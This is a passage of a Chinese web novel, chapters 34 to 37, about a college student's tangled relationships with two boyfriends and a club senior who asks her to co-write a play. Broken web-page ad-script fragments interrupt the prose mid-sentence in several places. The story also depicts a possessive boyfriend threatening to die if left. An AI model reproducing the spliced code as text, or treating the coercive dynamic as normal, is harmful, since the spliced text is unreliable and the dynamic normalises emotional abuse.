——映入眼帘的却是冷着脸的孟文霖。 看到孟文霖脖子上的红痕,盛晚一颗悬在嗓子眼的心终于落下来,狠狠松了一口气。他蹲下身子,捂着劫后余生扑通扑通跳个不停的心脏,努力使声音听起来不那么尖锐,向孟文霖确认:“谭谭和你在一起吗?让我看看她。” 盛晚想象过很多次他和孟文霖对峙的场景,然而此刻隔着屏幕再次相见,他只觉得庆幸,“谭谭是在你的身边吧?我没别的意思,她不接电话也不回消息,快把我吓死了。抱歉,我只是想看看她,看一眼就好。” 他们两个实在没什么好说的,孟文霖也不是给下马威或是放话威胁的幼稚鬼。假如换个场景,给了他们说话的时间,恐怕彼此都恨不得杀了对方。 孟文霖当然不会大度到给情敌看自己的爱人,冷冷丢下一句:“她没事。”便挂断了电话。 熟睡的薛谭不知道前男友和现男友之间并不友好的通话,哪怕第二天早上醒来后也无心插手。 因为她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要赶早八。 几口吃完孟文霖准备好的早餐,薛谭车都叫好了才反应过来没带课本。 “桃桃。”孟文霖搂着薛谭的胳膊撒娇,“我想和桃桃一起去上课~” “滚啊。”薛谭一巴掌把他扇飞,“竟敢勾引我耽误我上课,你怎么那么恶毒。”不去管踉跄着摔倒在地的孟文霖,薛谭上车给盛晚打电话让他帮忙把课本带上。 酒店离学校有点距离,路上又堵车,薛谭头一回踩着上课铃声到达教室。她没让南采帮忙留位置,小心从后面走过去坐在盛晚旁边。 她还有些昏昏欲睡,位置签到完后便忍不住打瞌睡,一小节课结束后直接倒在了盛晚肩膀上。 打开手机查看消息,首先映入眼帘的“卓钦”两个字一下子就把瞌睡虫赶了个干净。薛谭猛地坐直身子,却不想正好和歪头靠过来的盛晚撞上,没工夫搭理不停道歉的男友,薛谭紧张兮兮点开卓钦的聊天栏。 【薛谭,今天下午下课后有时间吗?我有些话想和你说。】 啊? 啊啊啊啊不要啊,薛谭抱着手机惊慌失措,虽然不知道卓钦要和她讲些什么,但是她根本!完全!不想听!她已经努力去忘记薛韵资助卓钦却不告诉她这件事了,为什么还要让她想起来啊。 “谭谭?”盛晚一晚没睡,却不见憔悴,此时担忧地望着苦着一张脸的女孩,“发生什么事情了?” 薛谭不想和盛晚说这些乱七八糟的事情,逃避一般退出聊天界面想要当作没看到,然后便瞧见郭斯洁也给自己发消息了。 【薛谭~晚上有没有时间呀?有点社团里的事情要和你说哦。】 真是及时雨!薛谭当即应下:【有的!】然后立马打开和卓钦的聊天页面,敲敲打打斟酌着发送消息;【啊啊真的不好意思啦,今天晚上我们社团要开会,恐怕没有时间呜呜。】 薛谭等了许久卓钦都没回消息,一时间忐忑不安她是不是生气了,然而很快又想到自己已经下定决心不去管忽冷忽热的卓钦了,女孩生不生气和她都没有关系,她也不用去在意——不对!怎么看都不可能不去在意的吧,卓钦忽冷忽热是和她当然无关,可是惹卓钦生气那就是她的错了呀! 怎么办怎么办,她还要再说些什么吗?下次有机会再说吧?不不不,过了那么久后再发这种消息也太奇怪了吧!要不然直接问她想要说什么直接在手机上说好了?不行不行,薛谭立即否定,她本来就是因为不想听卓钦的话所以才拒绝的啊! 心乱如麻的薛谭把头撞在桌子上独自悲伤,手机忽然震动一下,以为是卓钦,她过了好一会才不情不愿抬起头看手机,却发现是郭斯洁的消息:【要不然还是中午吧,你下午第一节有课吗?】 没课。 两个字薛谭在手机上打了又删,删了又打,迟迟发不出去,她真是要纠结死了。 不知道是不是薛谭破碎的心声顺着手机传到了郭斯洁那里,不等薛谭回复郭斯洁又说:【啊呀,还是在晚上说吧。】 薛谭松了一口气,便看到对面继续发来消息:【毕竟正在输入中那么久,一定是不愿意吧,学妹大学都上半年了,怎么还那么害羞啊。】【嘲笑jpg.】 啊啊啊啊啊薛谭一头撞在桌子上。 34. 第 34 章 下午最后一节课结束后,薛谭来到食堂三楼找郭斯洁。 “薛谭!” 郭斯洁响亮而具有穿透力的声音在身后从身后传来,她转身望去,女人脸上立即绽放大大的笑容,明媚又灿烂。 “学姐!”薛谭小跑过去,四处看了看,发现只有她们两个人。 “只有我们呦!”女人搂住薛谭的肩膀,弯腰整个人压在她身上,凑得很近,夸张地拖长调子:“哎呀哎呀——学妹看起来很不开心啊,因为只有我们两个人?为什么?讨厌我嘛?” 郭斯洁拉着薛谭坐在最角落的位置,嘴上不停抱怨:“好伤心好伤心,真是大失败呀!毕竟我一开始可是做好了把学妹变迷妹打算的啊,好不容易成为了部长还在纠结该怎么样才能不显得那么严肃,嗯......以免大一的学妹们害怕?没想到敬畏没有反倒被讨厌了。” 她坐下来后也歪歪扭扭地没个正形,碎碎念:“到底为什么讨厌我呢?讨厌那么优秀温柔可靠的部长大人,怎么看都很不应该吧?”她抱着薛谭的手臂晃来晃去,“对吧对吧?所以说被讨厌这件事情绝对!绝对不是我的错啊!一看就是学妹你自己的问题吧。” “欸?” 欸欸欸? 被郭斯洁摇成蚊香眼的薛谭心中忽然升起一股危机感,然而不等她搞清楚这突如其来的、汗毛倒竖的感觉是什么,黏在身上的女人就揭晓了答案:“既然是学妹你做错了,那就要和我道歉喔。” 她还记得上次被郭斯洁忽悠着道歉结果莫名其妙写了申请表的事情,反应过来这一点,她立即往外抽胳膊—— 抽不出来! 郭斯洁一点点贴近,薛谭甚至能够看到她脸上细小的绒毛,女人被一双厚镜片阻隔的眼睛依旧亮的惊人,活像是见了老鼠的猫,“至于道歉的方式——就答应我一个要求吧!” “不......”薛谭卡住嗓子,她实在不习惯和别人离那么近,努力往后仰,直到身体贴紧了墙面,眼见扒拉在自己身上的女人依旧目光灼灼地盯着自己,她低下头闭眼喊出:“不行啊,学姐也太不讲道理了!” “哦?”郭斯洁终于松开了薛谭,审视的目光却依旧钉在她身上,“那你为什么讨厌我呢?” 薛谭头一次见那么奇怪的人,无奈解释:“我没有讨厌学姐!” 郭斯洁安静看了一会忐忑不安的薛谭,忽然伸出手力道很轻地拍了拍她颤抖的肩膀,语音也轻飘飘的,“可你刚才见到我就是很不开心啊。” “我......”薛谭顿了一下,别过脸,“我也没有不开心。”像是要掩盖什么一般,她转移话题:“学姐叫我来有什么事吗?” “是有点事啦......”郭斯洁像是玩够了一般不再纠结那个话题,站起身朝薛谭笑了一下,“先吃饭吧,吃完饭再说。你要吃什么?” 望着突然变得很正经的女人,薛谭有些不适应,她也连忙站起身,“我吃点包子就好。” 不想下一刻她便被郭斯洁按在椅子里,然后被递了几张纸。 “我去买饭,你先看看这个。”女人说罢抬脚便离开,根本不给薛谭拒绝的机会。 望着郭斯洁离去的背影,她呆呆看了好久,最后默默在心里叹了口气。 虽然很不适应郭斯洁过分亲密的动作和霸道的逻辑,但是薛谭更不喜欢懦弱又不会反抗的自己,哪怕拒绝的话很多次到达嗓子眼,可只要一对上对方的眼睛,她就失去了所有勇气,只能唯唯诺诺称是。 算了,薛谭努力调理情绪,反正只是社团里的学姐,明年她大概就要退部了吧,想来不会有多少次接触,忍忍就过去了。 低头看向手中的纸,薛谭刚刚打开印有“海神大人她说不”的封面,郭斯洁就拎着一大袋包子和两杯粥坐了过来。 好快! 薛谭下意识道歉:“抱歉,我还没有开始看——” 郭斯洁毫不客气打断:“抱什么歉啊。”她插开粥递给薛谭,“没看就没看呗,吃完饭再看,又不是老师布置作业。” 于是薛谭打算边吃晚饭边看,又被郭斯洁抽走纸卷起来敲了敲头,“等吃完饭再看,不是说了吗?” 她慢吞吞眨眨眼,而后抬手锤了一下脑袋,也受不了自己的迷糊,“抱歉抱歉。”有些话明明听到了声音,但是内容完全没进入耳朵。 郭斯洁没有说什么,只是吃饭的过程中时不时便掀起眼皮看一眼薛谭,像是在思考什么东西。 吃完包子和粥后,她一手拿着刚才的纸,另一只手牵起薛谭,“我们边走边说吧,顺便消消食。” “有两件事情。”走出食堂后郭斯洁就松开了薛谭的手腕,平和的目光投往前方,“元旦晚会就快到了,有两个咱们话剧社的演出,一个是你们写的剧本,另外一个是相声表演。到时候我们一起去看吧。” 薛谭愣了一下,没想到郭斯洁单独把她叫出来会说这种事,犹豫几秒还是问道:“每个人都要去吗?” “不是哦。”郭斯洁回头朝薛谭笑了一下,天已经黑了下来,路灯打在她弯起眉眼的脸上,又被切割成细碎的光影,忽明忽暗,连笑容都显得有些不真实,“想去就去,自愿的啦。其实就算去了也没我们什么事,顶多就是在观众席上凑个热闹。” 好似有读心术一般,她抢先开口:“但我还是希望你来看看。毕竟这是你的作品不是吗?而且饰演主角的那个女生是你好朋友吧,不想给她加油鼓气吗?” 薛谭不知道她是如何猜出自己懒得去的,低头不语。她从小到大都没参加过什么学校的活动,唯一一次还是在孟之宁和薛韵的怂恿下报名了马拉松比赛,过后后悔了很久。虽然这么想很不应该,但薛谭确实对那场话剧没什么期待,与其和一堆人一起挤在操场上等啊等,她更想躲在家里玩手机。 她不太理解郭斯洁为什么要说这些,是只跟她一个人说还是每个人都说了?她更希望郭斯洁是太负责任了所以和每个人都说一遍。 郭斯洁并不为女孩沉默的态度生气,反而很开心地笑出来,“你不想去就算了,我可以录视频到时候发给你。” “不用不用。”薛谭慌忙摆手,“学姐不必为我费心。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “欸?”郭斯洁摇摇头,“你这话说的真奇怪,我是你学姐,也是你的部长,做这些是应该的啊,哪有什么费不费心的。” “那......”薛谭认命地低下头,“那我还是去吧。” “哈哈哈哈。”郭斯洁笑出声,“别这样啊,我真没别的意思,你这个样子就好像我威胁你一样。”她双手背在身后,倒着走路,语气意外很温柔,“你愿意来陪我就来,不想来我也会录好视频发给你,按照自己的心意进行选择就好,不用因为觉得麻烦我而强行扭转心里的想法。” 薛谭小声说:“......倒也没有那么夸张就是了。” “你是怎么想的就怎么做好啦。”郭斯洁重复之前的话,说完自己也笑了,“好吧,我也觉得自己的话没什么说服力,哎,看来平时还是要严肃一点维持我高冷部长的形象啊。”她开着玩笑,强调:“不过我真是认真的啊,真不是威胁你。你如果在这期间改变心意想来了就给我发个消息,我到操场南大门接你,要是不想来看也不用勉强。” 薛谭乖巧应声:“好的。” 她们走到了图书馆旁边的小路上,冬日寒风吹散了树梢绿叶,光秃秃的枝丫在混杂着路灯的月光下有些瘆人,但是细细看过去便能发现其中各样姿态的可爱之处。往日里躲在万年青灌木丛里窸窸窣窣的虫鸣声已随着落叶深埋土地之中,周围静悄悄的,像单调的景色。 郭斯洁措不及防开口:“感觉冬天,夜色都变淡了呢。你说——”她倏尔停下脚步,转身盯着薛谭,微微勾起嘴角,是很恬静的微笑:“海洋的颜色是不是也变淡了?” “什么?”薛谭被她无厘头的话弄得一懵。 郭斯洁没有说话,隔着一段距离,静静凝望着薛谭。 她的眼神变得很安静,周身气质也不再会说话一般给人闹腾的感觉,瘦瘦高高的身影斜斜印刻在地面上,随着身后树木的风摇影动而颤动,像是在无声诉说着什么。 但最引人注目的还是那双犹如黑夜般静谧的眼眸,真是神奇,平日里的熠熠生辉的光彩褪去,便是深厚的平和。 啊,明明是那么奇怪的人,怎么能够说出这样温柔的话,露出这么柔和的目光呢。 鬼使神差地,薛谭想到了方才在食堂看到那张纸上的字,像是忽然对上电波一样,她磕磕绊绊开口:“海、海洋颜色是深是浅这种事情果然还是问海神大人才对吧——虽然是这么想的,但既然学姐问的是我,我也只能厚着脸皮猜测大概率没有变淡,不是因为天黑了看不清也不是因为什么物理因素,只是因为——” 她话音猛地停下,终于抬眸与女人对上视线,呼吸急促两分,接着说:“只是因为学姐的眼睛很深邃,像海洋一样,想着反过来海洋也应该像学姐的眼睛一样,所以就这么说了。” 寂静蔓延,薛谭的心跳如鼓进一步显现在耳边,她捏紧衣角忍不住后退两步,鞠躬:“抱歉!说了奇怪的话!” “才不是奇怪的话。”郭斯洁缓缓抬起手按住胸口,低眸浅笑,“我的心脏因为学妹的话在扑通扑通乱跳呢。” 35. 第 35 章 “我觉得自然最美妙的一点就是,任何生物都能在她的庇佑下依靠本能自由生长,而这种庇佑又是无声无息的,意思就是说,哪怕生物们突然有了意识反应过来自己是受着庇佑的,它们想要去寻找一切的源头,却一无所得——因为它们本身便处在自然的平衡点上。” 郭斯洁继续说:“当你以一朵小花,或者一只小鸟的视角踏入自然界时,你会觉得害怕吗?我会,生存的残酷挑战很多时候是无法避免的,比起被人践踏或是因为捉不到虫子而饿死,大部分人还是想要好好活着的吧,什么都不用思考地活着,只凭借本能自然生长。你不觉得这种活法很好吗?” 她们并肩行走在一起,薛谭望着地面上两只哪怕分开仍旧不断交叠的影子,忽而意识到能够吸引奇怪的人的人,大概也是个奇怪的人,于是她如实说:“很好。” 不知是否因为郭斯洁的话放在此时此刻的环境中太有代入感,她奇异地在这些几乎不会在现实生活中被讲出来的言论引导下感到久违地心静——上一回还是在动物园的时候。 薛谭慢吞吞将心中所想吐露:“我明白学姐的意思,学姐希望我不要总是顾虑那么多,大胆说出自己内心深处最真实的选择。这也是我的愿望啊。可是学姐,我......我很怕自己的选择会惹别人生气,我不敢承受别人的负面情绪。学姐愿意包容我每个选择是学姐好,可我没办法要求每个人都像学姐一样。” 她知道自己软弱的性格十分讨厌,甚至很清楚讨好别人是无意义的事情,当然想过要改变自己,可是每当踏出隐藏自己的阴影时,总是会有更可怕的东西接踵而至。与其做出改变受到更严重的伤害,倒不如......倒不如就这样算了! 郭斯洁笑了一下,突然提起:“今天找你来其实还有一件事,寒假期间我们部门每个人需要创作一个小剧本,然后社团还要交出一份大剧本。所谓小剧本就像是之前晚会表演的那种以搞笑为目的以供娱乐的。大剧本则是在校庆或者参加比赛时表演的,一般比较正经,当然也可以搞笑,但是比起建立在网络热梗上的笑点,它的搞笑更偏向于幽默。同时立意也比较深厚,比如反应一些社会现象什么的。” 她们坐在路灯下的长椅上,郭斯洁将手里一直拿着的那几张纸打开平铺在膝盖上,“大剧本我想和你一起创作,主题是海洋保护。” 薛谭震惊,一时没反应过来,“就我们两个人吗?” “对啊,就我们两个。”郭斯洁调笑:“怎么,你不想和我一起啊?” 怕她再说出什么做出一个承诺来道歉的话,薛谭连忙摆摆手:“不是那个意思,只是怕我做不好,说实话我以前都没进行过什么文字创作,高中语文作文每次都是42分,并不擅长写剧本。这么重要的剧本还是交给大二的学姐一起负责更好吧。” “可是我想和你一起创作。”郭斯洁笑着,看向薛谭的双眸闪烁着认真的光芒。 薛谭要纠结死了,不安询问:“为什么一定是我呢?为什么是我呢?” 她们都知道这句为什么是我不单单指写剧本。 “啊——怎么说呢。”郭斯洁愁眉苦脸的样子,倏尔又展露笑颜,“因为你真的,是个很奇怪的人啊!所以对你比较好奇?感兴趣?”她摊开手,坦然说:“不过根本原因还是只有你愿意答应我。” 哈?这人到底在说些什么啊,最奇怪的人明明就是她好吧,果然奇怪的人都意识不到自己奇怪的吗? ——等等!难道说薛谭真的很奇怪只是她自己没有意识到!? 现在不是纠结这件事情的时候,薛谭摇头把脑子里乱七八糟的想法赶出去,反驳:“我还没有答应学姐的吧!” 郭斯洁一脸正经地说出不靠谱的话:“但直觉告诉我学妹会答应的啊!而且就算学妹刚开始不愿意,我也会努力说服你加入的,假如——我是说假如,最后真的失败了,那我就只能自己写这个剧本了。总之就是!要么我自己写,要么学妹和我一起写,除此之外别无他法。” 薛谭欲哭无泪:“为什么别人都能拒绝学姐,就我不能啊,而且学姐刚才不是还说要我遵从内心真实想法做选择的嘛!” 郭斯洁直白否定:“可这根本不是你的真实想法啊!要是学妹真的不愿意一开始就会拒绝我了,又怎么会和我拉扯那么多。再说了——”她神色微愠:“我没有问过别人,只问过你。因为别人根本没有询问的必要!” “为什么?” 郭斯洁罕见地没有立即接上话,她把几张纸塞给薛谭,站起身,“你回去看看吧,今天也不早了,你早点回去。咱们下次再说。” 平时和别人讲话时,对方仅仅是面无表情都能把薛谭吓个半死,可是郭斯洁刚才糟糕的脸色那么明显,薛谭却丝毫不为其忐忑不安。 到底是怎么回事? 薛谭久久望着郭斯洁离去的背影,直到再也看不见了才失去所有力气一般坐倒在椅子上,神思恍惚看向手中白纸黑字分明的“海神大人她说不”,隐隐察觉到有哪里正在悄无声息变化着。 对于郭斯洁说了一堆略微有些中二病的话后所提出的问题——“你不觉得这种活法很好吗”,薛谭藏在“很好”之后的回答是:她觉得棒极了!她真想变成动物,什么都行,蚂蚁蜘蛛还是大象老虎都无所谓,虽然变成动物会失去很多作为人的乐趣,但是总归不用像现在这个样子被别人讨厌自己也讨厌自己。 薛谭坐在长椅上把这几张纸看完了。 这是郭斯洁对于大剧本的初步构想,主要讲的是饱受伤害的海神与海洋污染源头对抗的故事,最后矛盾点转移到海神与人类之间。剧本只写了个大概,大部分都是在讲海神和垃圾们的争论战斗,至于和人类的矛盾只有寥寥几笔概括,想来会是此次剧本创作的难点。 看完剧本薛谭回家,碰上了来学校里找她的盛晚。 “不是让你在外面等着吗?”薛谭挽住他的胳膊,“其实不来接我也没关系。” 盛晚受宠若惊,“我担心谭谭。”他低头看向女孩温 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和的侧颜,试探性地开口:“谭谭平时有自己的事情要做,我没有资格要求谭谭把所有空闲时间都分给我,但是谭谭,偶尔看手机时可不可以给我回个消息呀?只是发个句号也可以。” 他今天穿着薛谭给他买的红色高领毛衣,衬得脸蛋鲜妍动人,“我会担心谭谭。” “我知道了。”薛谭答应他:“如果想起来了,我会的。我今天不知道为什么好累,你背我回去吧。” 于是盛晚蹲下身子,柔声道:“上来吧,谭谭。” 薛谭慢吞吞爬上去,搂住少男的脖子。 盛晚双臂环住薛谭的膝盖缓缓站起身,他背的又高又稳,薛谭不必担心下滑,只需要轻轻松松趴在他身上就可以。 一路上两人都出奇地安静,薛谭将脸埋进盛晚的脖颈里,高领毛衣的布料贴上她紧闭的双眼,像云朵一样柔软。 随着开门的声响,薛谭抬起头远离那片被濡湿的衣料,小声说:“别开灯。” 盛晚转头蹭了蹭薛谭湿漉漉的脸颊,也学她声音很轻地说:“我开不了灯的。” 他背着薛谭准确无误来到沙发前将她放下,下一瞬便把女孩一整个抱在怀里,两人一起窝在沙发的角落。 盛晚温柔地吻去女孩眼角泪水,黏稠模糊的声音随着张口呼出的热气一起传进薛谭耳中,他说:“我要永远待在谭谭身边。” 薛谭问他:“那要是我赶你走呢?” “我不走,我不要和谭谭分开,除非谭谭走,谭谭走了我就去死。” 盛晚抱得更紧了,与薛谭额头相抵,黑暗中两双眼睛倒映着彼此,她能从中清楚感受到几乎吞涌黑暗的执着,还有浓重的、深深的依赖。 “我不会赶你走。”薛谭搂住盛晚的脖子,贴近少男耳畔断断续续说:“妈妈隐瞒了我一件事,好吧,她一定瞒了我很多事,但是这件被我发现了。孟文霖说让我把这件事搞明白,我不理解为什么......为什么一定要刨根问底,明明可以当作什么都没发生过的。”她问了很多个为什么,像带着某种执念。 “今天晚上我发现一件事情......”她忽然用力使少男低下头,认真盯着他的眼睛说:“我好像是个奇怪的人,妈妈和孟文霖肯定不能接受的,以前他们就不能接受,所以我一直想着去改变。但是有个同样很奇怪的人告诉我我怎么样都可以,她说希望我按照内心真实想法去做选择,而不是为了迎合别人去委屈自己。” “我就在想,妈妈和那个奇怪的人到底谁是对的?其实我更倾向于那个奇怪的人,可是这样就显得妈妈不是那么爱我了。妈妈资助了一个人,得知这个消息我的第一想法是——” 她顿住,一刹那想了很多,最终袒露最阴暗的一面:“妈妈是不是太嫌弃我放弃我了,所以才选择资助一个和我同龄的人,把她、把她当作自己的女儿?当作自己的继承人?” 她只有妈妈,可是妈妈却背叛了她。 ——或者换个说法,她只有妈妈,可妈妈却不只有她。 36. 第 36 章 半夜忽然下起了大雨,淅淅沥沥的雨珠被阴风裹挟着砸在窗户上,发出放鞭炮一样的声响。 印象里上一回放鞭炮还是在老家的时候。 薛韵猛然惊醒。 不等坐起便去摸床头柜子上的手机,慌乱之间不知碰到了什么东西发出“啪——”的声音,一瞬间几乎盖过了风雨怒号。她愣了一下,呆呆的像个孩童,直到万父含糊不清的“阿韵”从身后传来,她才回过神立即打开灯。 从地上捡起掉落的手机,薛韵紧紧握住,指尖都泛白了。 万父迷糊不过一分钟,大概被外面吓人的雨声惊得彻底清醒过来,也坐直身子从后面拥住薛韵,语音犹疑建议道:“这么晚桃桃该睡着了,要不发个消息问一下吧。” 薛韵摇摇头,“桃桃最怕雷雨夜,肯定被吓醒了。” 万父其实不太敢插手有关薛谭的事情,一是薛韵不喜欢,二是那个女孩也不会把自己放在眼里,只能安静安静从后面抱住女人,给予她无声的支持。 薛韵只是犹豫一会,便拨通了电话。 那边很快接起,她一边等待女孩向自己哭诉,一边默默在心里组织着安慰的话,不想却听得一道陌生的男音:“阿姨您好,我是谭谭的男朋友盛晚,谭谭现在睡着了,是有什么要紧的事吗?” 薛韵怔愣,一时脑海划过许多片段,女孩孱弱的肩膀,细碎的哭声,恐惧的表情......她忽然拔高声音:“桃桃在睡觉?” “是的。”那边传来开门的声音,随后规律平稳的呼吸声从手机里传来,黑暗的环境里依稀能够分辨出来女孩的睡颜。 窗外大雨如注,针一样劈里啪啦落在地面上,薛韵觉得自己嗓子也像是被塞了好几根针,不上不下的说不出话。 “阿姨?” 她被拉回心神,匆匆留下一句“照顾好她。”便挂断电话。 第二天中午,盛晚伺候薛谭起床,把手机递给女孩:“昨天晚上阿姨打电话来了。” “妈妈?”薛谭不解,“你接了?你们说了什么?” 盛晚解释:“昨天晚上下雨了,阿姨担心谭谭就打电话问问情况,我告诉阿姨谭谭睡着了,她让我照顾好谭谭,然后就挂了。” “下雨了?”薛谭不可置信,打开手机一看发现昨天晚上下的还挺大,她只记得自己昨天晚上迷迷糊糊说了很久的话,然后就被困得不行睡着了,夜里完全没有听到雨声。忍不住惊叹:“我还以为自己会被雨声吵醒。” 盛晚心疼:“谭谭最近太累了。” 薛谭也觉得自己最近压力有点大了,除了社团和家里的事情,现在期末周她还要操心学习上的事情。不过好在她是临时抱佛脚专业户,从初中到现在已经习惯了这种节奏。从前是孟文霖帮助薛谭考前复习,这段时间则一直拉着盛晚帮自己复习高数和专业课,因此考试还算顺利。 虽然成绩不会多好,不过薛谭是个没什么追求的人,只要及格别的都无所谓。 盛晚成绩倒是很好,讲题的时候薛谭就发现这一点了。 “感觉你高数能考满分。”薛谭毫不吝啬夸赞。 而盛晚也大大方方承认:“我也觉得哦。” 还有最后一门大学英语在元旦假期结束之后考,考完就能放假回家了。 今年元旦在周一,周二z大举办元旦晚会。 “谭谭谭谭。”盛晚拉着薛谭撒娇,“我们元旦一起出去玩吧。” “啊?”正在低头打字的薛谭停下来,“可是元旦我要和孟文霖一起出去玩呢。” 盛晚眨眨眼睛,一时没反应过来。 薛谭抽出手,两根大拇指按的很快,一边和孟文霖发消息一边哄盛晚,“乖一点,孟文霖好不容易回来一趟。” “可是......”如果是以前盛晚肯定不敢再说什么,然而这么多天以来女孩柔和的态度让他生出了一种自己有被好好爱着的感觉,忍不住说:“这是跨年啊,我想和谭谭一起跨年。” “哎呀。”薛谭有些烦躁,就在刚刚李铭泽也给她发消息说电玩城有活动,邀请她一起去玩,那个活动她看了还不错,蛮想去的,正在纠结到底是和孟文霖一起去还是和李铭泽一起去,现在盛晚又来吵吵嚷嚷,她生气:“说了不去听不懂是吧?再烦我就滚出去跪着!” 望见女孩脸上明显的不耐烦,盛晚攥紧薛谭衣袖的手缓缓松开,眨眼间落下眼泪。 为什么?为什么?为什么!大家都是和心爱的人一起跨年,明明他才是谭谭的男朋友,为什么女孩要抛弃自己选别的男人?就因为孟文霖是从小一起长大的竹马吗?可是他们都一起度过了许多个日日夜夜,跨越了一年又一年,为什么就不肯分给他一次机会呢? 他只不过是想像网络上那么多对情侣一样,一起在新年的钟声里许下永远在一起的愿望,哪怕只是奢望。 每当盛晚以为自己终于占据薛谭的心时,现实都会给他当头一棒,残忍地提醒:就算成为薛谭男朋友又怎么样?你还是比不过孟文霖,他们两个十几年来的情谊哪里是你能任意插足的?是啊,只要孟文霖出现在薛谭面前,她总会毫不犹豫地推开他,牵住孟文霖的手。 可是凭什么!他到底是不如孟文霖帅了还是不如孟文霖骚了,谈恋爱都能被一个恬不知耻的贱货偷家! 孟文霖这个名字对于盛晚来说,简直是从高中纠缠到大学的噩梦。他从来不怕有男人勾引谭谭,因为他很清楚,没人比得过他,可是孟文霖不一样,孟文霖在谭谭那里拥有的筹码不只有脸和身体,还有任何人都无法比拟的感情。 很多时候盛晚也分不清楚自己心中,到底是对孟文霖的忌恨多一点,还是对孟文霖会抢走谭谭的恐惧多一点。 从前的盛晚觉得自己只要能够站在谭谭身边就够了,后来真的站在女孩身边,被女孩注视着时,全身上下难以抑制的战栗清楚提醒着盛晚他的欲望。他还想要更多,他想要取代女孩手机里那个可以任意和她打情骂俏的男人,他也想做谭谭的男朋友。 盛晚知道他和孟文霖不一样。 那个时候谭谭和孟文霖谈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 恋爱只不过是蒙蔽了双眼,想要体验谈恋爱的乐趣,谭谭根本不喜欢孟文霖,她喜欢的是帅气又温柔的自己。所以他从始至终都拿的是暗恋成真剧本,他才不是什么第三者,他是被谭谭喜爱着的男人。 而孟文霖—— 不过是个不要脸的小三! 直到现在终于踹掉鸠占鹊巢的孟文霖,成为谭谭名正言顺的男朋友,盛晚才真正意识到,原来贪念是永远无法被满足的。有了男朋友的身份后,他便开始渴望爱,有了爱后他又开始祈求偏爱,说到底他也只不过是一个希望被心爱之人珍视的可怜男人罢了。 “谭谭......”他颤抖着声音,有忐忑有害怕,但唯独没有犹豫,“我想和谭谭一起跨年。”他垂着眼皮不敢去看女孩的脸色,短短几秒钟想了很多事情,倘若谭谭不开心了怎么办?谭谭会因此和他分手吗?应该不会的,盛晚在心里给自己打气,谭谭是喜欢他的,他也只是问一问,要是谭谭不愿意那他就放弃。他只是想为自己争取一下。 时间一点点流逝,客厅静悄悄的没有任何声音,盛晚一颗心也缓缓沉下来,就在他想要跪地磕头认错时,女孩忽然开口了:“你刚才说什么?” 薛谭想了一个两全其美的办法,干脆她、孟文霖还有李铭泽他们三个人一起去电玩城好了,虽然她更想和孟文霖两个人去,但是李铭泽说那个电玩城是他家里人开的,他们一起的话不仅饮品畅饮而且娃娃机还可以不限次数随便抓。 她看向一旁的盛晚,少男好像刚刚哭过了,眼眶红红的,看上去像是被抛弃的狗狗一般楚楚可怜。忍不住伸出手用大拇指摩挲了一下眼角艳色,薛谭耐心询问:“你刚才说什么?我没听清。” 盛晚本来在薛谭问第一遍的时候已经放弃了的,然而女孩突如其来的亲密举动又为他增添不少信心,他低头乖巧蹭了蹭女孩手心,央求:“我想和谭谭一起跨年。” 薛谭看着掌中帅脸,起了逗弄心思:“可是我跨年夜要跟孟文霖一起睡觉呢。” 盛晚眼睛直勾勾盯着薛谭,忽然侧头舔了一下她的掌心。 薛谭有些痒,忍不住往后缩了缩,少男却罕见地露出强势一面,轻轻攥住她的手,一路吻上去。灼热的气息停留在下巴处,盛晚一边不停啄吻着,一边褪去自己的衣服。 他知道薛谭有点洁癖,因此只是亲了亲她的嘴角。 直到所有衣服掉落在地上,美丽无暇的少男跪在薛谭脚边,不用她说便自己做出动作。 好吧,太貌美了。 美男计受害者薛谭掏出手机给李铭泽发消息:【不好意思,下次吧。】 李铭泽:【小猪震惊jpg.】【不要啊,上次看电影你也和我说的下次QAQ】【是你那位朋友出现什么意外情况了吗?时间我们可以再调的。】 薛谭实话实说:【不是,我元旦要陪男朋友。】 那边过了一会才回复消息:【那没问题呀,你可以带男朋友一起过来玩的,毕竟这个可是元旦限定活动,错过要等好久呢!咱们四个一起玩嘛!】 37. 第 37 章 元旦当天,盛晚特意早早起床开始打扮自己,穿了薛谭给他买的那件红色高领毛衣,笑起来明艳动人。 吃完午饭坐在沙发上发呆的薛谭被少男的笑容晃了眼,她从抽屉里翻出口罩递给他,“带你出门不是让你招摇的。” 盛晚嘴角笑意加深,两颊泛起甜蜜的红晕,“嗯。”他的眼眸柔情似水,爱意浸泡其中,几乎满溢出来,“我只打扮给谭谭看。” 薛谭嫌弃,他们去电玩城玩又不是去参加晚会,盛晚打扮的这么隆重去那种场合,这让她觉得有些丢脸。可是看着小心勾住自己手指的乖顺少男,她知道少男的心思,他想在电玩城结束后和自己一起到中心广场的钟楼下跨年,最终她只是摸了一把他的翘臀,没有多说什么。 一切收拾完毕,盛晚戴好口罩跟着薛谭出门,他们约定好在电玩城所在的商场一楼会合,到达那里时便见到两个身高体长,气质却截然相反的两个少男站在一起。虽说是并肩而立,两人之间的空气却像是被火药炸了一般紧绷。 薛谭只知道李铭泽阳光开朗对谁都是笑容满面的样子,却不想他站在孟文霖面前时显得如此清纯无辜,毕竟他身边那个桃花眼的高大少男不苟言笑时实在太过凶神恶煞,她离得远远的都能感受到孟文霖身上狠厉的气息。 她不过刚刚走过去,率先发现她的孟文霖便瞬间笑着朝她挥了挥手,十分具有冲击力的面容被那双含情脉脉的桃花眼所柔和,只让人觉得一双眸子宛若四月春光无限,温暖醉人。 他抢先大迈步走过来攥住薛谭另一只空闲的手,拿起热乎乎的奶茶递到她嘴边。 香甜的气息扑面而来,薛谭仔细闻了闻,喝了一口抬起头后才发现原来是前面李铭泽身上淡雅柔和的香味。她愣了一下,又转头上下打量孟文霖,发现三个人今天打扮的都非常精致。 孟文霖仗着自己和薛谭多年好友的身份,直接无视另一边盛晚吃人的目光,自得地牵住薛谭的手不松开。他弯腰让女孩看得更清楚,同时自己也直勾勾盯着女孩的眼睛看,略有些羞涩问道:“好看吗?” 